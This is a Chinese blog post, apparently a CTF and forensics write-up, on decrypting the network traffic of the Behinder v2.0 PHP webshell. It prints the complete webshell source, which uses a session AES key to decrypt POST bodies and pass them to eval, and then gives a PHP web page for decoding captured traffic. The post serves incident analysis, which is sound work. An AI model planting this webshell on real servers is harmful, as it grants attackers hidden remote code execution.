冰蠍PHP碼流量還原

0x01前言

之前打3ctf的時候看見了一道冰蠍流量還原的misc,之後覺得還挺有意思的,畢竟之前網站被種過馬 ,弄出來之後搞個工具結合全流量設備或者wireshark的包來還原攻擊者到底做了哪些動作,故有了此文。

0x02環境準備

phpstudy(注意在php環境中要開一下php_openssl,默認好像是沒開的)
冰蠍v2.0

0x03過程

首先貼一下一般用的冰蠍的PHP碼:

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

加密過程:
第一次(GET)請求生成16位的祕鑰,第二次(POST)用祕鑰對發送和接收的內容進行base64加密、AES加密(AES-128-CBC,OPENSSL_ZERO_PADDING)。
解密過程:
先用AES解密,再用base64解密。

解密腳本如下(我這個做的是網頁版的,界面很友好!如果想簡化可以只要<?php>標籤內的內容,記得把網頁傳參的變量改成普通變量):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>PHP冰蠍解碼</title>
</head>
<body>
<?php
error_reporting(0);
function aes_decrypt($data,$key){
    return openssl_decrypt($data,'aes-128-cbc',$key,OPENSSL_ZERO_PADDING);
} 

$text=$_POST['text'];
$key=$_POST['key'];
#'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg';
#'d59042be6e437849';
#{"status":"c3VjY2Vzcw==","msg":"cEBzc3cwcmQ="}
$s=aes_decrypt($text,$key);

preg_match_all("/\'(.*?)\'/", $s,$content);
$s1=str_replace("'", "", $content[0][0]);

?>
<h1>冰蠍-PHP 流量解碼</h1>
<form action="" method="post">
    <table >
        <tr>
            <td  align="center">密鑰</td>
            <td><input type="text" name="key" maxlength="16" value="<?php if(!empty($key)){echo $key;}?>"></td>
        </tr>
        <tr>
            <td  align="center">密文</td>
            <td><textarea  name="text" style="height:100px;width:450px;" >
                <?php if(!empty($text)){echo $text;}?>
            </textarea> </td>
        </tr>
        <tr>
            <td> <input type="submit" value="提交"></td>
        </tr>
    </table>
</form>
<?php
print "解密後流量:<br>";
print $s;
print "<br><br>base64解碼:<br>";
//print $s1;
print base64_decode($s1);

?>
</body>
</html><br>

實現之後的效果如下:
效果圖,沒錢請不起美工!

0x04寫在最後

冰蠍碼的流量加密確實爲後滲透提供了極大的便利,不過以後可能更進一步隱藏16位AES祕鑰或者其他方式進行加密,本文只針對v2.0這個版的進行了解密,畢竟技術還比較菜。等有時間把jsp版的也做了!立個flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章